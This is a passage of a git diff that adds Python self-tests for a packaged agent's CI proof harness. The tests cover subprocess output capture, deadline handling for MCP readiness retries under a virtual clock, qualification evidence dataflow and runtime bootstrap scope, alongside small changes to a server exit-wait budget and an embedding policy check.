run_process_capture_self_tests from .self_test_process_clock import run_process_clock_self_tests +from .self_test_process_deadline import run_process_deadline_self_tests from .self_test_process_exit import run_process_exit_self_tests from .self_test_process_identity import run_process_identity_self_tests @@ -9,5 +11,7 @@ def run_process_self_tests() -> None: run_process_identity_self_tests() run_process_clock_self_tests() + run_process_deadline_self_tests() run_process_exit_self_tests() run_process_cleanup_self_tests() + run_process_capture_self_tests() diff --git a/.github/scripts/packaged_agent_proof/self_test_process_capture.py b/.github/scripts/packaged_agent_proof/self_test_process_capture.py new file mode 100644 index 000000000..748cb4ec5 --- /dev/null +++ b/.github/scripts/packaged_agent_proof/self_test_process_capture.py @@ -0,0 +1,232 @@ +"""Synchronous subprocess capture self-tests.""" + +from __future__ import annotations + +import os +import subprocess +import sys +import tempfile +import time +from pathlib import Path + +from .foundation import ProofFailure, require +from .subprocess_control import run + +_DIRECT_STDOUT = "direct-child-stdout\n" +_DIRECT_STDERR = "direct-child-stderr\n" +_LARGE_OUTPUT_BYTES = 2 * 1024 * 1024 + + +def _write_script(path: Path, source: str) -> None: + path.write_text(source, encoding="utf-8") + + +def _wait_for_path(path: Path, timeout: float) -> None: + deadline = time.monotonic() + timeout + while not path.exists(): + require( + time.monotonic() < deadline, + f"timed out waiting for subprocess self-test path {path}", + ) + time.sleep(0.01) + + +def _run_inherited_descendant_leg() -> None: + with tempfile.TemporaryDirectory( + prefix="codestory-process-capture-descendant-" + ) as raw: + root = Path(raw) + descendant_path = root / "descendant.py" + parent_path = root / "parent.py" + ready_path = root / "ready" + release_path = root / "release" + stopped_path = root / "stopped" + _write_script( + descendant_path, + """ +import sys +import time +from pathlib import Path + +ready = Path(sys.argv[1]) +release = Path(sys.argv[2]) +stopped = Path(sys.argv[3]) +ready.write_text("ready\\n", encoding="utf-8") +deadline = time.monotonic() + 2.5 +while not release.exists() and time.monotonic() < deadline: + time.sleep(0.01) +stopped.write_text("stopped\\n", encoding="utf-8") +""".lstrip(), + ) + _write_script( + parent_path, + f""" +import subprocess +import sys +import time +from pathlib import Path + +ready = Path(sys.argv[2]) +subprocess.Popen([sys.executable, sys.argv[1], *sys.argv[2:]]) +deadline = time.monotonic() + 2 +while not ready.exists(): + if time.monotonic() >= deadline: + raise SystemExit("descendant did not start") + time.sleep(0.01) +sys.stdout.write({_DIRECT_STDOUT!r}) +sys.stdout.flush() +sys.stderr.write({_DIRECT_STDERR!r}) +sys.stderr.flush() +""".lstrip(), + ) + command = [ + sys.executable, + str(parent_path), + str(descendant_path), + str(ready_path), + str(release_path), + str(stopped_path), + ] + started = time.perf_counter() + result = run( + command, + env=os.environ.copy(), + cwd=root, + timeout=10, + ) + elapsed = time.perf_counter() - started + release_path.write_text("release\n", encoding="utf-8") + _wait_for_path(stopped_path, 2) + require( + elapsed < 1.5, + "synchronous capture waited for an inheriting descendant instead " + f"of only the direct child ({elapsed:.3f}s)", + ) + require( + result["stdout"] == _DIRECT_STDOUT + and result["stderr"] == _DIRECT_STDERR, + "inheriting-descendant capture changed direct-child output", + ) + + +def _run_large_output_leg() -> None: + with tempfile.TemporaryDirectory(prefix="codestory-process-capture-large-") as raw: + root = Path(raw) + script_path = root / "large_output.py" + stdout = "O" * _LARGE_OUTPUT_BYTES + ":stdout-end\n" + stderr = "E" * _LARGE_OUTPUT_BYTES + ":stderr-end\n" + _write_script( + script_path, + f""" +import sys + +sys.stdout.write("O" * {_LARGE_OUTPUT_BYTES} + ":stdout-end\\n") +sys.stdout.flush() +sys.stderr.write("E" * {_LARGE_OUTPUT_BYTES} + ":stderr-end\\n") +sys.stderr.flush() +""".lstrip(), + ) + command = [sys.executable, str(script_path)] + result = run( + command, + env=os.environ.copy(), + cwd=root, + timeout=10, + ) + require( + set(result) == {"command", "exit_code", "wall_ms", "stdout", "stderr"} + and result["command"] == command + and result["exit_code"] == 0 + and isinstance(result["wall_ms"], float), + "file-backed capture changed the synchronous command result shape", + ) + require( + result["stdout"] == stdout and result["stderr"] == stderr, + "file-backed capture truncated output larger than pipe capacity", + ) + + +def _run_nonzero_tail_leg() -> None: + with tempfile.TemporaryDirectory( + prefix="codestory-process-capture-nonzero-" + ) as raw: + root = Path(raw) + script_path = root / "nonzero.py" + _write_script( + script_path, + """ +import sys + +sys.stdout.write("discarded-stdout-" + "o" * 2500 + "-stdout-tail-sentinel\\n") +sys.stdout.flush() +sys.stderr.write("discarded-stderr-" + "e" * 2500 + "-stderr-tail-sentinel\\n") +sys.stderr.flush() +raise SystemExit(23) +""".lstrip(), + ) + command = [sys.executable, str(script_path)] + try: + run( + command, + env=os.environ.copy(), + cwd=root, + timeout=10, + ) + except ProofFailure as error: + message = str(error) + require( + "command failed (23)" in message + and "stdout-tail-sentinel" in message + and "stderr-tail-sentinel" in message, + "nonzero command failure lost its exit code or an output tail", + ) + else: + raise ProofFailure("nonzero command passed synchronous capture self-test") + + +def _run_timeout_leg() -> None: + with tempfile.TemporaryDirectory( + prefix="codestory-process-capture-timeout-" + ) as raw: + root = Path(raw) + script_path = root / "timeout.py" + _write_script( + script_path, + """ +import sys +import time + +sys.stdout.write("timeout-stdout-sentinel\\n") +sys.stdout.flush() +sys.stderr.write("timeout-stderr-sentinel\\n") +sys.stderr.flush() +time.sleep(10) +""".lstrip(), + ) + command = [sys.executable, str(script_path)] + try: + run( + command, + env=os.environ.copy(), + cwd=root, + timeout=1, + ) + except subprocess.TimeoutExpired as error: + require( + error.cmd == command + and error.timeout == 1 + and error.stdout + == f"timeout-stdout-sentinel{os.linesep}".encode() + and error.stderr + == f"timeout-stderr-sentinel{os.linesep}".encode(), + "file-backed capture changed timeout identity or retained output", + ) + else: + raise ProofFailure("timed-out command passed synchronous capture self-test") + + +def run_process_capture_self_tests() -> None: + _run_inherited_descendant_leg() + _run_large_output_leg() + _run_nonzero_tail_leg() + _run_timeout_leg() diff --git a/.github/scripts/packaged_agent_proof/self_test_process_deadline.py b/.github/scripts/packaged_agent_proof/self_test_process_deadline.py new file mode 100644 index 000000000..b2cffd298 --- /dev/null +++ b/.github/scripts/packaged_agent_proof/self_test_process_deadline.py @@ -0,0 +1,234 @@ +"""Readiness-wait deadline self-tests for the owned MCP transport.""" + +from __future__ import annotations + +import json +import queue +from types import SimpleNamespace +from unittest.mock import patch + +from . import subprocess_control +from .foundation import ProofFailure, require +from .subprocess_control import McpProcess + +_RETRY_AFTER_MS = 30_000 +_TIMEOUT_SECS = 60.0 +_NEVER = float("inf") + + +class _VirtualClock: + """Deterministic stand-in for the module clock so the legs cost no wall time.""" + + def __init__(self) -> None: + self.now = 0.0 + + def monotonic(self) -> float: + return self.now + + def sleep(self, seconds: float) -> None: + self.now += max(0.0, float(seconds)) + + +class _ScriptedHost(McpProcess): + """An McpProcess whose stdio is scripted instead of a real subprocess. + + The script replaces the pipes, not the methods, so ``tool`` and ``send`` are the shipped + implementations. A leg that only stubbed ``tool`` could not see the transport's own + deadline, which is the other place a readiness wait can mint a fresh budget. + """ + + def __init__( + self, + clock: _VirtualClock, + timeout: float, + script: list[str], + latencies: list[float] | None = None, + ) -> None: + self.clock = clock + self.timeout = timeout + # The last scripted step and latency repeat, so a leg only names its distinct steps. + self.script = script + self.latencies = latencies or [0.0] + self.reads = 0 + self.pending: dict | None = None + self.stderr: list[str] = [] + self.transcript: list[dict] = [] + self.tool_attempt_counts: dict[str, int] = {} + self.lines = self + self.process = SimpleNamespace(stdin=self) + + # --- stdin stand-in ------------------------------------------------------------------- + def write(self, payload: str) -> None: + self.pending = json.loads(payload) + + def flush(self) -> None: + return None + + # --- stdout queue stand-in ------------------------------------------------------------ + def get(self, timeout: float | None = None): + self.reads += 1 + step = self.script[min(self.reads, len(self.script)) - 1] + latency = self.latencies[min(self.reads, len(self.latencies)) - 1] + if timeout is not None and latency > timeout: + # The transport waited its whole remaining bound and the host never answered. + self.clock.now += max(0.0, timeout) + raise queue.Empty + self.clock.now += latency + return json.dumps(self._response(step)) + + def _response(self, step: str) -> dict: + assert self.pending is not None + params = self.pending.get("params", {}) + if step == "preparing": + return { + "jsonrpc": "2.0", + "id": self.pending.get("id"), + "result": { + "isError": True, + "structuredContent": { + "code": "codestory_preparing", + "state": "preparing", + "retry_tool": params.get("name"), + "retry_after_ms": _RETRY_AFTER_MS, + }, + }, + } + return { + "jsonrpc": "2.0", + "id": self.pending.get("id"), + "result": { + "structuredContent": { + "query": params.get("arguments", {}).get("query"), + "hits": [], + "retrieval": {"state": step}, + } + }, + } + + +def _run_shared_deadline_leg() -> None: + clock = _VirtualClock() + # A degraded poll lands mid-window, so the next poll's readiness retries are the only + # thing that can push the wait past the shared bound. + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["preparing", "degraded", "preparing"]) + with patch.object(subprocess_control, "time", clock): + try: + host.search_until_ready({"query": "self-test"}, "search") + except ProofFailure: + pass + else: + raise ProofFailure("search_until_ready did not fail on a host that never converged") + require( + clock.now <= _TIMEOUT_SECS, + f"search_until_ready waited {clock.now}s against its {_TIMEOUT_SECS}s bound", + ) + + +def _run_transport_deadline_leg() -> None: + clock = _VirtualClock() + # The first answer arrives late enough that a request minting its own full budget would + # outlive the shared bound. The host then goes silent, so the transport wait is the only + # thing left that can overrun. + host = _ScriptedHost( + clock, + _TIMEOUT_SECS, + ["preparing", "silent"], + [10.0, _NEVER], + ) + with patch.object(subprocess_control, "time", clock): + try: + host.search_until_ready({"query": "self-test"}, "search") + except ProofFailure: + pass + else: + raise ProofFailure("search_until_ready did not fail on a host that stopped answering") + require( + clock.now <= _TIMEOUT_SECS, + f"a request under search_until_ready minted its own budget: waited {clock.now}s " + f"against its {_TIMEOUT_SECS}s bound", + ) + + +def _run_default_deadline_leg() -> None: + clock = _VirtualClock() + # A host that never becomes ready pins the default bound in both directions: a default + # that grew past self.timeout keeps retrying past _TIMEOUT_SECS, and one that shrank gives + # up before it. + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["preparing"]) + with patch.object(subprocess_control, "time", clock): + try: + host.tool_until_ready("search", {"query": "self-test"}, "search") + except ProofFailure: + pass + else: + raise ProofFailure("tool_until_ready did not fail on a host that never became ready") + attempts = host.tool_attempt_counts.get("search") + require( + attempts == 3 and clock.now == _TIMEOUT_SECS, + f"tool_until_ready without a deadline changed its own bound: {attempts} attempts " + f"over {clock.now}s against {_TIMEOUT_SECS}s", + ) + + +def _run_converging_host_leg() -> None: + clock = _VirtualClock() + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["preparing", "ready"]) + with patch.object(subprocess_control, "time", clock): + _, attempts = host.tool_until_ready("search", {"query": "self-test"}, "search") + require( + attempts == 2 and clock.now <= _TIMEOUT_SECS, + f"tool_until_ready gave up on a host that converged inside the bound: {attempts} " + f"attempts over {clock.now}s", + ) + + +def _run_threaded_deadline_leg() -> None: + clock = _VirtualClock() + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["preparing"]) + with patch.object(subprocess_control, "time", clock): + try: + host.tool_until_ready( + "search", + {"query": "self-test"}, + "search", + deadline=clock.monotonic() + 5.0, + ) + except ProofFailure: + pass + else: + raise ProofFailure("tool_until_ready ignored a caller-owned deadline") + require( + clock.now <= 5.0, + f"tool_until_ready waited {clock.now}s against a caller-owned 5.0s deadline", + ) + + +def _run_threaded_transport_deadline_leg() -> None: + clock = _VirtualClock() + # A caller-owned deadline has to reach the transport too, not only the readiness retries. + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["silent"], [_NEVER]) + with patch.object(subprocess_control, "time", clock): + try: + host.tool_until_ready( + "search", + {"query": "self-test"}, + "search", + deadline=clock.monotonic() + 5.0, + ) + except ProofFailure: + pass + else: + raise ProofFailure("tool_until_ready ignored a caller-owned deadline") + require( + clock.now <= 5.0, + f"the transport ignored a caller-owned 5.0s deadline and waited {clock.now}s", + ) + + +def run_process_deadline_self_tests() -> None: + _run_shared_deadline_leg() + _run_transport_deadline_leg() + _run_default_deadline_leg() + _run_converging_host_leg() + _run_threaded_deadline_leg() + _run_threaded_transport_deadline_leg() diff --git a/.github/scripts/packaged_agent_proof/self_test_process_exit.py b/.github/scripts/packaged_agent_proof/self_test_process_exit.py index 928b0df08..439aa4cd8 100644 --- a/.github/scripts/packaged_agent_proof/self_test_process_exit.py +++ b/.github/scripts/packaged_agent_proof/self_test_process_exit.py @@ -61,7 +61,10 @@ def _exit_budget_tests() -> dict[str, int]: manifest, { "status": "frozen", - "qualification_thresholds": {"true_idle_exit": 72_285}, + "fixed_contract_values": { + "idle_timeout_ms": 60_000, + "true_idle_observation_grace_ms": 2_500, + }, }, ) require( @@ -83,8 +86,21 @@ def _exit_budget_tests() -> dict[str, int]: ) for hostile in ( {"status": "frozen"}, - {"status": "frozen", "qualification_thresholds": {"true_idle_exit": None}}, - {"status": "frozen", "qualification_thresholds": {"true_idle_exit": 120_001}}, + {"status": "frozen", "fixed_contract_values": {}}, + { + "status": "frozen", + "fixed_contract_values": { + "idle_timeout_ms": 60_000, + "true_idle_observation_grace_ms": None, + }, + }, + { + "status": "frozen", + "fixed_contract_values": { + "idle_timeout_ms": 60_000, + "true_idle_observation_grace_ms": 60_001, + }, + }, ): try: native_server_exit_wait_budget(manifest, hostile) diff --git a/.github/scripts/packaged_agent_proof/self_test_qualification.py b/.github/scripts/packaged_agent_proof/self_test_qualification.py index 0c004d9e2..23b4b38a3 100644 --- a/.github/scripts/packaged_agent_proof/self_test_qualification.py +++ b/.github/scripts/packaged_agent_proof/self_test_qualification.py @@ -3,8 +3,19 @@ from __future__ import annotations import copy +from types import SimpleNamespace +from unittest.mock import patch, sentinel +from . import qualification_metrics, qualification_workflow from .foundation import ProofFailure, require +from .qualification_metrics import ( + _qualification_cache_state_from_scenarios, + _qualification_host, +) +from .qualification_production_types import ( + QualificationRunnerEvidence, + QualificationScenarioEvidence, +) from .qualification_scenario_evidence import validate_replay_attempts, validate_retry_state @@ -28,7 +39,247 @@ def _replay_attempt( return attempt +def _qualification_cache_state_self_tests() -> None: + context = SimpleNamespace( + args=SimpleNamespace(engine_policy="accelerated"), + runtime={ + "identity": { + "embedding_backend": "metal", + "embedding_engine_residency": "resident", + }, + "same_account": {"account_id": "uid:501"}, + "materialization": { + "sha256": "a" * 64, + "reused_on_rejoin": False, + }, + }, + manifest={"asset_target": "macos-arm64"}, + ) + runner = QualificationRunnerEvidence( + output={}, + expected_status="pass", + expected_backend="metal", + matrix_cell_id="protected_macos_arm64_metal", + matrix_cell={ + "host_class": "protected_self_hosted_macos_arm64", + "accelerator_claim": "metal", + "cache_state": "reused", + }, + ) + reused_scenario = QualificationScenarioEvidence( + shared_identity={}, + scenarios={ + "true_idle_respawn": { + "assertions": {"verified_materialization_reused": True} + } + }, + ) + measurement = {"unplanned_suspend": False} + cache_state = _qualification_cache_state_from_scenarios( + runner, + reused_scenario, + ) + host = _qualification_host( + context, + runner, + measurement, + cache_state=cache_state, + ) + require( + context.runtime["materialization"]["reused_on_rejoin"] is False + and host["cache_state"] == "reused", + "cold bootstrap state overrode proved qualification replacement reuse", + ) + + for hostile, message in ( + ( + QualificationScenarioEvidence( + shared_identity={}, + scenarios={ + "true_idle_respawn": { + "assertions": {"verified_materialization_reused": False} + } + }, + ), + "false qualification replacement reuse was accepted", + ), + ( + QualificationScenarioEvidence( + shared_identity={}, + scenarios={"true_idle_respawn": {"assertions": {}}}, + ), + "missing qualification replacement reuse proof was accepted", + ), + ): + try: + _qualification_cache_state_from_scenarios( + runner, + hostile, + ) + except ProofFailure: + pass + else: + raise ProofFailure(message) + + +def _qualification_measurement_dataflow_self_test() -> None: + measurement_context = SimpleNamespace( + measurement_contract={ + "constant_set": {"status": "frozen"}, + "measurement_protocol": {"required_metrics": ["sentinel_metric"]}, + }, + contracts={"constant_set_sha256": "a" * 64}, + ) + runner = SimpleNamespace(matrix_cell={"cache_state": "reused"}) + scenarios = QualificationScenarioEvidence( + shared_identity={}, + scenarios={ + "true_idle_respawn": { + "assertions": {"verified_materialization_reused": True} + } + }, + ) + retained_measurement = {"unplanned_suspend": False} + real_cache_state = qualification_metrics._qualification_cache_state_from_scenarios + + def derive_cache_state(actual_runner, actual_scenarios): + require( + actual_runner is runner and actual_scenarios is scenarios, + "qualification measurement collection replaced validated runner or scenarios", + ) + return real_cache_state(actual_runner, actual_scenarios) + + def retain_metric(metric, *, context, measurement, memory): + require( + metric == "sentinel_metric" + and context is measurement_context + and measurement is retained_measurement + and memory is sentinel.memory, + "qualification measurement collection replaced metric phase evidence", + ) + return sentinel.metric + + def retain_host(actual_context, actual_runner, actual_measurement, *, cache_state): + require( + actual_context is measurement_context + and actual_runner is runner + and actual_measurement is retained_measurement + and cache_state == "reused", + "qualification host did not receive the proved cache state", + ) + return sentinel.host + + with ( + patch.object( + qualification_metrics, + "_qualification_measurement_sources", + return_value=(retained_measurement, sentinel.memory), + ), + patch.object( + qualification_metrics, + "_qualification_cache_state_from_scenarios", + side_effect=derive_cache_state, + ), + patch.object( + qualification_metrics, + "_retained_qualification_metric", + side_effect=retain_metric, + ), + patch.object( + qualification_metrics, + "_qualification_host", + side_effect=retain_host, + ), + ): + retained = qualification_metrics.collect_qualification_measurements( + measurement_context, + runner, + scenarios, + ) + require( + retained.measurement is retained_measurement + and retained.memory is sentinel.memory + and retained.host is sentinel.host + and retained.metrics == {"sentinel_metric": sentinel.metric}, + "qualification measurement collection returned stale phase evidence", + ) + + +def _qualification_workflow_dataflow_self_test() -> None: + validated_scenarios = QualificationScenarioEvidence( + shared_identity={"server_instance_id": "validated"}, + scenarios={"true_idle_respawn": {"assertions": {}}}, + ) + + def retain_measurements(context, runner, scenarios): + require( + context is sentinel.context + and runner is sentinel.runner + and scenarios is validated_scenarios, + "qualification workflow replaced validated scenarios before measurement retention", + ) + return sentinel.measurements + + def retain_outputs(context, runner, scenarios, measurements): + require( + context is sentinel.context + and runner is sentinel.runner + and scenarios is validated_scenarios + and measurements is sentinel.measurements, + "qualification workflow replaced validated producer phase evidence", + ) + return sentinel.output + + with ( + patch.object( + qualification_workflow, + "prepare_qualification_producer", + return_value=sentinel.context, + ), + patch.object( + qualification_workflow, + "collect_qualification_external_evidence", + return_value=sentinel.external, + ), + patch.object( + qualification_workflow, + "run_qualification_producer", + return_value=sentinel.runner, + ), + patch.object( + qualification_workflow, + "collect_qualification_scenarios", + return_value=validated_scenarios, + ), + patch.object( + qualification_workflow, + "collect_qualification_measurements", + side_effect=retain_measurements, + ), + patch.object( + qualification_workflow, + "write_qualification_outputs", + side_effect=retain_outputs, + ), + ): + result = qualification_workflow.produce_qualification_evidence( + sentinel.args, + sentinel.qualification_cli, + sentinel.env, + sentinel.root, + sentinel.runtime, + sentinel.manifest, + sentinel.archive_sha256, + sentinel.measurement_contract, + sentinel.server_cleanup_control, + ) + require(result is sentinel.output, "qualification workflow returned stale evidence") + + def run_qualification_self_tests() -> None: + _qualification_cache_state_self_tests() + _qualification_measurement_dataflow_self_test() + _qualification_workflow_dataflow_self_test() retry = validate_retry_state( { "code": "embedding_server_owner_unresponsive", diff --git a/.github/scripts/packaged_agent_proof/self_test_runtime_bootstrap_scope.py b/.github/scripts/packaged_agent_proof/self_test_runtime_bootstrap_scope.py new file mode 100644 index 000000000..fdc72d7fe --- /dev/null +++ b/.github/scripts/packaged_agent_proof/self_test_runtime_bootstrap_scope.py @@ -0,0 +1,323 @@ +"""Proof-tier scope tests for the packaged runtime bootstrap.""" + +from __future__ import annotations + +import argparse +import tempfile +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import Mock, call, patch + +from . import runtime_bootstrap_continuity +from .foundation import ProofFailure, require + +_PROJECT_A = Path("/self-test/large-project") +_PROJECT_B = Path("/self-test/small-project") +_QUESTION_A = "How does the large project activate?" +_QUERY_A = "large_project_probe" +_QUERY_B = "small_project_probe" +_MANIFEST = {"asset_target": "linux-x64"} + + +def _setup() -> SimpleNamespace: + return SimpleNamespace( + project_a=_PROJECT_A, + project_b=_PROJECT_B, + query_b=_QUERY_B, + node=Path("/self-test/node"), + command=["self-test-plugin-host"], + qualified_env={"SELF_TEST": "runtime-bootstrap"}, + ) + + +def _cold() -> SimpleNamespace: + return SimpleNamespace( + snapshot_a={"engine": {"successful_encode_count": 7}}, + shared_identity={"server_instance_id": "server-self-test"}, + status_a={"self_test": "status-a"}, + status_b={"self_test": "status-b"}, + identity_a={"embedding_backend": "CPU"}, + ) + + +def _args(proof_tier: str) -> argparse.Namespace: + return argparse.Namespace( + proof_tier=proof_tier, + produce_qualification_evidence=True, + question=_QUESTION_A, + query=_QUERY_A, + timeout_secs=10, + engine_policy="cpu_explicit", + expected_backend="CPU", + ) + + +def _run_live_retrieval_case( + proof_tier: str, + *, + trap_project_a: bool = False, +) -> Mock: + setup = _setup() + cold = _cold() + args = _args(proof_tier) + host_a = Mock() + host_b = Mock() + if trap_project_a: + host_a.tool_until_ready.side_effect = ProofFailure( + "calibration scheduled a second broad project-A request" + ) + else: + host_a.tool_until_ready.return_value = ({"self_test": "packet"}, 1) + host_a.search_until_ready.side_effect = ProofFailure( + f"{proof_tier} moved its broad project-A request from packet to search" + ) + host_b.search_until_ready.return_value = ({"self_test": "search"}, 1) + host_b.engine_diagnostics.return_value = {"self_test": "diagnostics"} + hosts = SimpleNamespace( + host_a=host_a, + host_b=host_b, + start_a="host-a-start", + start_b="host-b-start", + ) + after = { + "engine": {"successful_encode_count": 8}, + "process": {"server_instance_id": "server-self-test"}, + } + memory = {"self_test": "five-process-memory"} + with ( + patch.object( + runtime_bootstrap_continuity, + "server_snapshot", + return_value=after, + ) as snapshot_check, + patch.object( + runtime_bootstrap_continuity, + "capture_five_process_memory", + return_value=memory, + ) as memory_check, + ): + observed = runtime_bootstrap_continuity._live_retrieval( + args, + setup, + hosts, + cold, + _MANIFEST, + ) + require( + observed == memory, + f"{proof_tier} live retrieval omitted five-process memory evidence", + ) + require( + host_b.method_calls + == [ + call.search_until_ready( + { + "project": str(_PROJECT_B), + "query": _QUERY_B, + "why": True, + }, + "search-b-live", + ), + call.engine_diagnostics(_PROJECT_B, "diagnostics-after-live"), + ], + f"{proof_tier} live retrieval changed the bounded project-B path", + ) + snapshot_check.assert_called_once_with( + host_b.engine_diagnostics.return_value, + _MANIFEST, + require_resident=True, + ) + memory_check.assert_called_once_with( + args=args, + node_path=setup.node, + host_a=host_a, + host_a_start=hosts.start_a, + host_b=host_b, + host_b_start=hosts.start_b, + status_a=cold.status_a, + status_b=cold.status_b, + snapshot=after, + manifest=_MANIFEST, + expected_backend="CPU", + ) + return host_a + + +def _live_retrieval_scope_tests() -> None: + host_a = _run_live_retrieval_case("calibration", trap_project_a=True) + require( + host_a.method_calls == [], + "calibration scheduled a second broad operation on project A", + ) + for proof_tier in ("hosted_package", "protected_hardware", "installed_runtime"): + host_a = _run_live_retrieval_case(proof_tier) + require( + host_a.method_calls + == [ + call.tool_until_ready( + "packet", + { + "project": str(_PROJECT_A), + "question": _QUESTION_A, + "budget": "compact", + }, + "packet-a", + ) + ], + f"{proof_tier} no longer requires the project-A packet path", + ) + + +def _run_continuity_case(proof_tier: str, expected_project: Path) -> None: + setup = _setup() + cold = _cold() + args = _args(proof_tier) + host_a = Mock() + host_a.process.pid = 101 + host_b = Mock() + host_b.process.pid = 202 + host_b.search_until_ready.return_value = ({"self_test": "survivor"}, 1) + host_b.engine_diagnostics.return_value = {"self_test": "survivor-diagnostics"} + hosts = SimpleNamespace( + host_a=host_a, + host_b=host_b, + start_a="host-a-start", + start_b="host-b-start", + ) + host_c = Mock() + host_c.process.pid = 303 + host_c.transcript = [] + + def rejoin_search(arguments: dict, label: str) -> tuple[dict, int]: + if ( + proof_tier == "calibration" + and arguments.get("project") == str(_PROJECT_A) + ): + raise ProofFailure( + "calibration rejoined through a broad project-A request" + ) + return {"self_test": label}, 1 + + host_c.search_until_ready.side_effect = rejoin_search + host_c.engine_diagnostics.return_value = {"self_test": "rejoin-diagnostics"} + survivor = { + "engine": {"successful_encode_count": 9}, + "process": {"server_instance_id": "server-self-test"}, + } + rejoin = { + "engine": {"successful_encode_count": 10}, + "process": {"server_instance_id": "server-self-test"}, + } + rejoin_identity = {"embedding_materialized_reused": True} + with ( + tempfile.TemporaryDirectory() as temporary, + patch.object( + runtime_bootstrap_continuity, + "McpProcess", + return_value=host_c, + ) as process_constructor, + patch.object( + runtime_bootstrap_continuity, + "process_start_identity", + return_value="host-c-start", + ) as start_identity, + patch.object( + runtime_bootstrap_continuity, + "server_snapshot", + side_effect=[survivor, rejoin], + ) as snapshot_check, + patch.object( + runtime_bootstrap_continuity, + "engine_identity", + return_value=rejoin_identity, + ) as identity_check, + ): + observed = runtime_bootstrap_continuity._continuity_proof( + args, + setup, + hosts, + cold, + _MANIFEST, + Path(temporary), + ) + require( + observed.survivor == survivor + and observed.rejoin_snapshot == rejoin + and observed.rejoin_identity == rejoin_identity, + f"{proof_tier} continuity evidence changed", + ) + require( + host_a.method_calls == [call.kill()], + f"{proof_tier} continuity did not replace exactly host A", + ) + require( + host_b.method_calls + == [ + call.search_until_ready( + { + "project": str(_PROJECT_B), + "query": _QUERY_B, + "why": True, + }, + "survivor-search", + ), + call.engine_diagnostics(_PROJECT_B, "survivor-diagnostics"), + ], + f"{proof_tier} continuity changed the surviving project-B path", + ) + process_constructor.assert_called_once_with( + setup.command, + env=setup.qualified_env, + cwd=expected_project, + timeout=args.timeout_secs, + ) + start_identity.assert_called_once_with(host_c.process.pid) + require( + host_c.method_calls + == [ + call.initialize(), + call.search_until_ready( + { + "project": str(expected_project), + "query": _QUERY_B if expected_project == _PROJECT_B else _QUERY_A, + "why": True, + }, + "rejoin-search", + ), + call.engine_diagnostics(expected_project, "rejoin-diagnostics"), + call.close(), + ], + f"{proof_tier} continuity changed its replacement-host scope", + ) + require( + snapshot_check.call_args_list + == [ + call( + host_b.engine_diagnostics.return_value, + _MANIFEST, + require_resident=True, + ), + call( + host_c.engine_diagnostics.return_value, + _MANIFEST, + require_resident=True, + ), + ], + f"{proof_tier} continuity changed its resident snapshot checks", + ) + identity_check.assert_called_once_with( + host_c.engine_diagnostics.return_value, + args.engine_policy, + args.expected_backend, + ) + + +def _continuity_scope_tests() -> None: + _run_continuity_case("calibration", _PROJECT_B) + for proof_tier in ("hosted_package", "protected_hardware", "installed_runtime"): + _run_continuity_case(proof_tier, _PROJECT_A) + + +def run_runtime_bootstrap_scope_self_tests() -> None: + _live_retrieval_scope_tests() + _continuity_scope_tests() diff --git a/.github/scripts/packaged_agent_proof/server_cleanup.py b/.github/scripts/packaged_agent_proof/server_cleanup.py index e0c4e95b7..a41cc549f 100644 --- a/.github/scripts/packaged_agent_proof/server_cleanup.py +++ b/.github/scripts/packaged_agent_proof/server_cleanup.py @@ -97,28 +97,34 @@ def native_server_exit_wait_budget(manifest: dict, constant_set: dict) -> dict: # -- the calibration matrix has no Windows cell, and since the drain-time # release the calibrated true_idle_exit threshold ends at owner absence # rather than process exit -- so the conservative grace frozen by #1397 - # stays. The frozen threshold still binds this budget as a floor: the - # receipt must never hold the exact process to a bound tighter than the - # whole-idle-exit claim the release itself makes. + # stays. The fixed product timeout plus its explicit observation grace + # binds this budget as a floor: calibration never selects this threshold. timeout_ms = product_idle_timeout_ms + NATIVE_SERVER_TEARDOWN_GRACE_MS require( isinstance(constant_set, dict), "native server exit-wait budget requires the verified constant set", ) if constant_set.get("status") == "frozen": - thresholds = constant_set.get("qualification_thresholds") + fixed = constant_set.get("fixed_contract_values") require( - isinstance(thresholds, dict), - "frozen embedding server constants omit qualification thresholds", + isinstance(fixed, dict), + "frozen embedding server constants omit fixed contract values", ) - true_idle_exit_ms = require_positive_int( - thresholds.get("true_idle_exit"), - "frozen true-idle exit qualification threshold", + fixed_idle_timeout_ms = require_positive_int( + fixed.get("idle_timeout_ms"), + "fixed true-idle product timeout", + ) + true_idle_observation_grace_ms = require_positive_int( + fixed.get("true_idle_observation_grace_ms"), + "fixed true-idle observation grace", + ) + true_idle_exit_ms = ( + fixed_idle_timeout_ms + true_idle_observation_grace_ms ) require( timeout_ms >= true_idle_exit_ms, f"native server exit-wait bound {timeout_ms}ms is tighter than the" - f" frozen {true_idle_exit_ms}ms true-idle exit claim", + f" fixed {true_idle_exit_ms}ms true-idle exit contract", ) return { "product_idle_timeout_ms": product_idle_timeout_ms, diff --git a/.github/scripts/packaged_agent_proof/server_engine_identity.py b/.github/scripts/packaged_agent_proof/server_engine_identity.py index 03b2e260d..68f0f674a 100644 --- a/.github/scripts/packaged_agent_proof/server_engine_identity.py +++ b/.github/scripts/packaged_agent_proof/server_engine_identity.py @@ -67,8 +67,8 @@ def _verify_engine_core( f"software adapter is not allowed: {adapter}", ) require( - fields["embedding_policy"] in {"accelerated", "cpu_explicit"}, - "status lacks an explicit embedding policy", + fields["embedding_policy"] == "accelerated", + "status lacks the required accelerated embedding policy", ) require( bool(fields["embedding_engine_instance_id"]), diff --git a/.github/scripts/packaged_agent_proof/subprocess_control.py b/.github/scripts/packaged_agent_proof/subprocess_control.py index 134810d1a..7286ad7ed 100644 --- a/.github/scripts/packaged_agent_proof/subprocess_control.py +++ b/.github/scripts/packaged_agent_proof/subprocess_control.py @@ -22,24 +22,51 @@ def run(command: list[str], *, env: dict[str, str], cwd: Path, timeout: int) -> dict: started = time.perf_counter() - completed = subprocess.run( - command, - cwd=cwd, - env=env, - text=True, - capture_output=True, - timeout=timeout, - ) + # A packaged worker can start the resident embedding server and then exit. + # Pipe capture makes communicate() wait for EOF from that descendant too, + # even though the direct worker has finished. Regular files retain the same + # output while letting subprocess.run() wait only for the process it owns. + with ( + tempfile.TemporaryFile(mode="w+", encoding=None) as stdout_capture, + tempfile.TemporaryFile(mode="w+", encoding=None) as stderr_capture, + ): + try: + completed = subprocess.run( + command, + cwd=cwd, + env=env, + 